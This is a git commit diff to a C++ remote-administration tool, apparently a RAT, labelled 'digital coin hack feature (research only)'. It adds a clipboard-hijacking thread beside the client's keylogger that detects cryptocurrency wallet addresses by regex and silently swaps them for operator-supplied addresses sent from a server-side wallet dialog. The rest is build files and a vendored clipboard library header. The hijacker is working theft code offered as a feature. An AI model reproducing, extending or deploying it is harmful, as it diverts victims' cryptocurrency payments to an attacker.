Feature: Add digital coin hack feature (research only)

This commit is contained in:
yuanyuanxiang
2025-10-05 17:47:11 +08:00
parent c36c177d4e
commit 1ddcd4584f
18 changed files with 591 additions and 5 deletions

View File

@@ -14,3 +14,4 @@
- [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket)
- [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink)
- [clip v1.11](https://github.com/dacap/clip)

View File

@@ -71,21 +71,21 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
@@ -197,12 +197,14 @@
<ItemGroup>
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\location.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />

View File

@@ -527,6 +527,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case CMD_MASTERSETTING:
if (ulLength > sizeof(MasterSettings)) {
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
// Remark 打开键盘记录或下一次启动客户端才会生效
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
}
break;
case COMMAND_KEYBOARD: //键盘记录

View File

@@ -19,6 +19,21 @@
#include <iniFile.h>
#define CAPTION_SIZE 1024
#include "wallet.h"
#include "clip.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "clip_x64D.lib")
#else
#pragma comment(lib, "clip_x64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "clipd.lib")
#else
#pragma comment(lib, "clip.lib")
#endif
#endif
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
{
@@ -30,7 +45,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
m_Buffer = new CircularBuffer(m_strRecordFile);
m_bIsWorking = true;
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
SetReady(TRUE);
@@ -39,8 +57,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
CKeyboardManager1::~CKeyboardManager1()
{
m_bIsWorking = false;
WaitForSingleObject(m_hClipboard, INFINITE);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hSendThread, INFINITE);
CloseHandle(m_hClipboard);
CloseHandle(m_hWorkThread);
CloseHandle(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
@@ -50,6 +70,11 @@ CKeyboardManager1::~CKeyboardManager1()
void CKeyboardManager1::Notify() {
if (NULL == this)
return;
m_mu.Lock();
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock();
sendStartKeyBoard();
WaitForDialogOpen();
}
@@ -72,6 +97,13 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
}
}
std::vector<std::string> CKeyboardManager1::GetWallet() {
m_mu.Lock();
auto w = m_Wallet;
m_mu.Unlock();
return w;
}
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
@@ -438,6 +470,60 @@ int CALLBACK WriteBuffer(const char* record, void* user) {
return 0;
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) {
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (!w.empty() && clip::has(clip::text_format())) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {
Sleep(1000);
continue;
}
auto type = detectWalletType(value);
switch (type) {
case WALLET_UNKNOWN:
break;
case WALLET_BTC_P2PKH:
case WALLET_BTC_P2SH:
case WALLET_BTC_BECH32:
if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]);
break;
case WALLET_ETH_ERC20:
if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]);
break;
case WALLET_USDT_OMNI:
if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]);
break;
case WALLET_USDT_TRC20:
if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]);
break;
case WALLET_TRON:
if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]);
break;
case WALLET_SOLANA:
if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]);
break;
case WALLET_XRP:
if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]);
break;
case WALLET_POLKADOT:
if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]);
break;
case WALLET_CARDANO_SHELLEY:
case WALLET_CARDANO_BYRON:
if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]);
break;
case WALLET_DOGE:
if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]);
break;
}
Sleep(1000);
}
}
return 0x20251005;
}
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
{

View File

@@ -220,9 +220,11 @@ public:
virtual ~CKeyboardManager1();
virtual void Notify();
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
static DWORD WINAPI Clipboard(LPVOID lparam);
static DWORD WINAPI KeyLogger(LPVOID lparam);
static DWORD WINAPI SendData(LPVOID lparam);
BOOL m_bIsOfflineRecord;
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
private:
@@ -233,6 +235,9 @@ private:
bool m_bIsWorking;
CircularBuffer *m_Buffer;
CLocker m_mu;
std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet();
};
#undef BUFFER_SIZE

211
client/clip.h Normal file
View File

@@ -0,0 +1,211 @@
// Clip Library
// Copyright (c) 2015-2024 David Capello
//
// This file is released under the terms of the MIT license.
// Read LICENSE.txt for more information.
#ifndef CLIP_H_INCLUDED
#define CLIP_H_INCLUDED
#pragma once
#include <cassert>
#include <memory>
#include <string>
#include <vector>
namespace clip {
// ======================================================================
// Low-level API to lock the clipboard/pasteboard and modify it
// ======================================================================
// Clipboard format identifier.
typedef size_t format;
#if CLIP_ENABLE_IMAGE
class image;
struct image_spec;
#endif // CLIP_ENABLE_IMAGE
#if CLIP_ENABLE_LIST_FORMATS
struct format_info {
format id = 0;
std::string name;
format_info(const format id,
const std::string& name)
: id(id),
name(name) {
}
};
#endif // CLIP_ENABLE_LIST_FORMATS
class lock {
public:
// You can give your current HWND as the "native_window_handle."
// Windows clipboard functions use this handle to open/close
// (lock/unlock) the clipboard. From the MSDN documentation we
// need this handler so SetClipboardData() doesn't fail after a
// EmptyClipboard() call. Anyway it looks to work just fine if we
// call OpenClipboard() with a null HWND.
lock(void* native_window_handle = nullptr);
~lock();
// Returns true if we've locked the clipboard successfully in
// lock() constructor.
bool locked() const;
// Clears the clipboard content. If you don't clear the content,
// previous clipboard content (in unknown formats) could persist
// after the unlock.
bool clear();
// Returns true if the clipboard can be converted to the given
// format.
bool is_convertible(format f) const;
bool set_data(format f, const char* buf, size_t len);
bool get_data(format f, char* buf, size_t len) const;
size_t get_data_length(format f) const;
#if CLIP_ENABLE_IMAGE
// For images
bool set_image(const image& image);
bool get_image(image& image) const;
bool get_image_spec(image_spec& spec) const;
#endif // CLIP_ENABLE_IMAGE
#if CLIP_ENABLE_LIST_FORMATS
// Returns the list of available formats (by name) in the
// clipboard.
std::vector<format_info> list_formats() const;
#endif // CLIP_ENABLE_LIST_FORMATS
private:
class impl;
std::unique_ptr<impl> p;
};
format register_format(const std::string& name);
// This format is when the clipboard has no content.
format empty_format();
// When the clipboard has UTF8 text.
format text_format();
#if CLIP_ENABLE_IMAGE
// When the clipboard has an image.
format image_format();
#endif
// Returns true if the clipboard has content of the given type.
bool has(format f);
// Clears the clipboard content.
bool clear();
// ======================================================================
// Error handling
// ======================================================================
enum class ErrorCode {
CannotLock,
#if CLIP_ENABLE_IMAGE
ImageNotSupported,
#endif
};
typedef void (*error_handler)(ErrorCode code);
void set_error_handler(error_handler f);
error_handler get_error_handler();
// ======================================================================
// Text
// ======================================================================
// High-level API to put/get UTF8 text in/from the clipboard. These
// functions returns false in case of error.
bool set_text(const std::string& value);
bool get_text(std::string& value);
// ======================================================================
// Image
// ======================================================================
#if CLIP_ENABLE_IMAGE
struct image_spec {
unsigned long width = 0;
unsigned long height = 0;
unsigned long bits_per_pixel = 0;
unsigned long bytes_per_row = 0;
unsigned long red_mask = 0;
unsigned long green_mask = 0;
unsigned long blue_mask = 0;
unsigned long alpha_mask = 0;
unsigned long red_shift = 0;
unsigned long green_shift = 0;
unsigned long blue_shift = 0;
unsigned long alpha_shift = 0;
unsigned long required_data_size() const;
};
// The image data must contain straight RGB values
// (non-premultiplied by alpha). The image retrieved from the
// clipboard will be non-premultiplied too. Basically you will be
// always dealing with straight alpha images.
//
// Details: Windows expects premultiplied images on its clipboard
// content, so the library code make the proper conversion
// automatically. macOS handles straight alpha directly, so there is
// no conversion at all. Linux/X11 images are transferred in
// image/png format which are specified in straight alpha.
class image {
public:
image();
image(const image_spec& spec);
image(const void* data, const image_spec& spec);
image(const image& image);
image(image&& image);
~image();
image& operator=(const image& image);
image& operator=(image&& image);
char* data() const { return m_data; }
const image_spec& spec() const { return m_spec; }
bool is_valid() const { return m_data != nullptr; }
void reset();
private:
void copy_image(const image& image);
void move_image(image&& image);
bool m_own_data;
char* m_data;
image_spec m_spec;
};
// High-level API to set/get an image in/from the clipboard. These
// functions returns false in case of error.
bool set_image(const image& img);
bool get_image(image& img);
bool get_image_spec(image_spec& spec);
#endif // CLIP_ENABLE_IMAGE
// ======================================================================
// Platform-specific
// ======================================================================
// Only for X11: Sets the time (in milliseconds) that we must wait
// for the selection/clipboard owner to receive the content. This
// value is 1000 (one second) by default.
void set_x11_wait_timeout(int msecs);
int get_x11_wait_timeout();
} // namespace clip
#endif // CLIP_H_INCLUDED

View File

@@ -207,6 +207,7 @@
<ItemGroup>
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
@@ -214,6 +215,7 @@
<ClInclude Include="auto_start.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" />

View File

@@ -838,7 +838,7 @@ typedef struct MasterSettings {
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
char Reserved[472]; // Ԥ<><D4A4>
char WalletAddress[472]; // Wallets
}MasterSettings;
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>

105
common/wallet.h Normal file
View File

@@ -0,0 +1,105 @@
#include <iostream>
#include <string>
#include <regex>
// Powered by ChatGPT.
enum WalletType {
WALLET_UNKNOWN = 0,
WALLET_BTC_P2PKH,
WALLET_BTC_P2SH,
WALLET_BTC_BECH32,
WALLET_ETH_ERC20, // ETH、ERC20含 USDT-ERC20
WALLET_USDT_OMNI, // USDT OmniBTC 网络,格式同 BTC
WALLET_USDT_TRC20, // USDT TRC20
WALLET_TRON,
WALLET_SOLANA,
WALLET_XRP,
WALLET_POLKADOT,
WALLET_CARDANO_SHELLEY,
WALLET_CARDANO_BYRON,
WALLET_DOGE // Dogecoin
};
enum AddressType {
ADDR_BTC = 0,
ADDR_ERC20,
ADDR_OMNI,
ADDR_TRC20,
ADDR_SOL,
ADDR_XRP,
ADDR_ADA,
ADDR_DOGE,
ADDR_DOT,
ADDR_TRON,
MAX_WALLET_NUM,
};
inline WalletType detectWalletType(const std::string& address_raw) {
std::string address = address_raw;
address.erase(0, address.find_first_not_of(" \t\n\r"));
address.erase(address.find_last_not_of(" \t\n\r") + 1);
// 1. ETH/ERC200x 开头)
static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$");
if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20;
// 2. TRC20T 开头)
static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$");
if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20;
// 3. BTC Bech32bc1 开头)
static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$");
if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32;
// 4. BTC P2PKH1 开头)
static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$");
if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH;
// 5. BTC P2SH3 开头)
static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$");
if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH;
// 6. XRPr 开头Base58
static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$");
if (std::regex_match(address, xrp_regex)) return WALLET_XRP;
// 7. DogecoinD 开头Base58
static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$");
if (std::regex_match(address, doge_regex)) return WALLET_DOGE;
// 8. Cardano Shelleyaddr1 开头)
static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$");
if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY;
// 9. Cardano ByronDdzFF 开头)
if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON;
// 10. Polkadot长度 4748Base58
static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$");
if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT;
// 11. Solana3244无前缀Base58→ 容易误判,必须放最后
static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$");
if (std::regex_match(address, solana_regex)) return WALLET_SOLANA;
return WALLET_UNKNOWN;
}
inline std::string walletTypeToString(WalletType type) {
switch (type) {
case WALLET_BTC_P2PKH: return "Bitcoin P2PKH (includes USDT-OMNI)";
case WALLET_BTC_P2SH: return "Bitcoin P2SH (includes USDT-OMNI)";
case WALLET_BTC_BECH32: return "Bitcoin Bech32";
case WALLET_ETH_ERC20: return "Ethereum / ERC20 (includes USDT-ERC20)";
case WALLET_USDT_TRC20: return "USDT TRC20";
case WALLET_TRON: return "TRON (same as USDT-TRC20)";
case WALLET_SOLANA: return "Solana";
case WALLET_XRP: return "XRP";
case WALLET_POLKADOT: return "Polkadot";
case WALLET_CARDANO_SHELLEY: return "Cardano Shelley";
case WALLET_CARDANO_BYRON: return "Cardano Byron";
case WALLET_DOGE: return "Dogecoin";
default: return "Unknown or Unsupported";
}
}

View File

@@ -1,3 +1,5 @@
# Requirements
- HPSocket: https://github.com/ldcsaa/HP-Socket.git
- Clip: https://github.com/dacap/clip.git

Binary file not shown.

View File

@@ -39,6 +39,8 @@
#include "client/MemoryModule.h"
#include <file/CFileManagerDlg.h>
#include "CDrawingBoard.h"
#include "CWalletDlg.h"
#include <wallet.h>
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -474,6 +476,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
END_MESSAGE_MAP()
@@ -1052,6 +1055,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
auto w = THIS_CFG.GetStr("settings", "wallet", "");
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
LVCOLUMN lvColumn;
@@ -3284,3 +3289,19 @@ void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
LeaveCriticalSection(&m_cs);
}
}
void CMy2015RemoteDlg::OnMainWallet()
{
CWalletDlg dlg(this);
dlg.m_str = CString(m_settings.WalletAddress);
if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str)
return;
if (dlg.m_str.GetLength() > 470) {
MessageBox("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION);
return;
}
strcpy(m_settings.WalletAddress, dlg.m_str);
THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress);
SendMasterSettings(nullptr);
}

View File

@@ -304,4 +304,5 @@ public:
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
afx_msg void OnMainWallet();
};

View File

@@ -268,6 +268,7 @@
<ClInclude Include="Chat.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CTextDlg.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
<ClInclude Include="EditDialog.h" />
@@ -339,6 +340,7 @@
<ClCompile Include="Chat.cpp" />
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" />
<ClCompile Include="FileManagerDlg.cpp" />

View File

@@ -53,6 +53,7 @@
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="..\..\common\ikcp.c" />
<ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -118,6 +119,7 @@
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="CGridDialog.h" />
<ClInclude Include="CWalletDlg.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />

View File

@@ -0,0 +1,105 @@
// CWalletDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "CWalletDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
#include "wallet.h"
// CWalletDlg 对话框
IMPLEMENT_DYNAMIC(CWalletDlg, CDialogEx)
CWalletDlg::CWalletDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_WALLET, pParent)
{
}
CWalletDlg::~CWalletDlg()
{
}
void CWalletDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_WALLET_BTC, m_EditBTC);
DDX_Control(pDX, IDC_EDIT_WALLET_ERC20, m_EditERC20);
DDX_Control(pDX, IDC_EDIT_WALLET_OMNI, m_EditOMNI);
DDX_Control(pDX, IDC_EDIT_WALLET_TRC20, m_EditTRC20);
DDX_Control(pDX, IDC_EDIT_WALLET_SOL, m_EditSOL);
DDX_Control(pDX, IDC_EDIT_WALLET_XRP, m_EditXRP);
DDX_Control(pDX, IDC_EDIT_WALLET_ADA, m_EditADA);
DDX_Control(pDX, IDC_EDIT_WALLET_DOGE, m_EditDOGE);
DDX_Control(pDX, IDC_EDIT_WALLET_DOT, m_EditDOT);
DDX_Control(pDX, IDC_EDIT_WALLET_TRON, m_EditTRON);
}
BEGIN_MESSAGE_MAP(CWalletDlg, CDialogEx)
END_MESSAGE_MAP()
// CWalletDlg 消息处理程序
BOOL CWalletDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
auto a = StringToVector(m_str.GetString(), ';', MAX_WALLET_NUM);
m_EditBTC.SetWindowTextA(a[ADDR_BTC].c_str());
m_EditERC20.SetWindowTextA(a[ADDR_ERC20].c_str());
m_EditOMNI.SetWindowTextA(a[ADDR_OMNI].c_str());
m_EditTRC20.SetWindowTextA(a[ADDR_TRC20].c_str());
m_EditSOL.SetWindowTextA(a[ADDR_SOL].c_str());
m_EditXRP.SetWindowTextA(a[ADDR_XRP].c_str());
m_EditADA.SetWindowTextA(a[ADDR_ADA].c_str());
m_EditDOGE.SetWindowTextA(a[ADDR_DOGE].c_str());
m_EditDOT.SetWindowTextA(a[ADDR_DOT].c_str());
m_EditTRON.SetWindowTextA(a[ADDR_TRON].c_str());
return TRUE;
}
CString JoinCStringArray(const CString arr[], int size, TCHAR delimiter)
{
CString result;
for (int i = 0; i < size; ++i)
{
result += arr[i];
if (i != size - 1)
result += delimiter;
}
return result;
}
void CWalletDlg::OnOK()
{
CString a[MAX_WALLET_NUM];
m_EditBTC.GetWindowTextA(a[ADDR_BTC]);
m_EditERC20.GetWindowTextA(a[ADDR_ERC20]);
m_EditOMNI.GetWindowTextA(a[ADDR_OMNI]);
m_EditTRC20.GetWindowTextA(a[ADDR_TRC20]);
m_EditSOL.GetWindowTextA(a[ADDR_SOL]);
m_EditXRP.GetWindowTextA(a[ADDR_XRP]);
m_EditADA.GetWindowTextA(a[ADDR_ADA]);
m_EditDOGE.GetWindowTextA(a[ADDR_DOGE]);
m_EditDOT.GetWindowTextA(a[ADDR_DOT]);
m_EditTRON.GetWindowTextA(a[ADDR_TRON]);
for (int i = 0; i < MAX_WALLET_NUM; ++i) {
if (a[i].IsEmpty()) continue;
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
char tip[100];
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
MessageBox(CString(tip), "提示", MB_ICONINFORMATION);
return;
}
}
m_str = JoinCStringArray(a, MAX_WALLET_NUM, _T(';'));
CDialogEx::OnOK();
}

View File

@@ -0,0 +1,38 @@
#pragma once
// CWalletDlg 对话框
class CWalletDlg : public CDialogEx
{
DECLARE_DYNAMIC(CWalletDlg)
public:
CWalletDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CWalletDlg();
CString m_str;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_WALLET };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_EditBTC;
CEdit m_EditERC20;
CEdit m_EditOMNI;
CEdit m_EditTRC20;
CEdit m_EditSOL;
CEdit m_EditXRP;
CEdit m_EditADA;
CEdit m_EditDOGE;
CEdit m_EditDOT;
CEdit m_EditTRON;
virtual BOOL OnInitDialog();
virtual void OnOK();
};

Binary file not shown.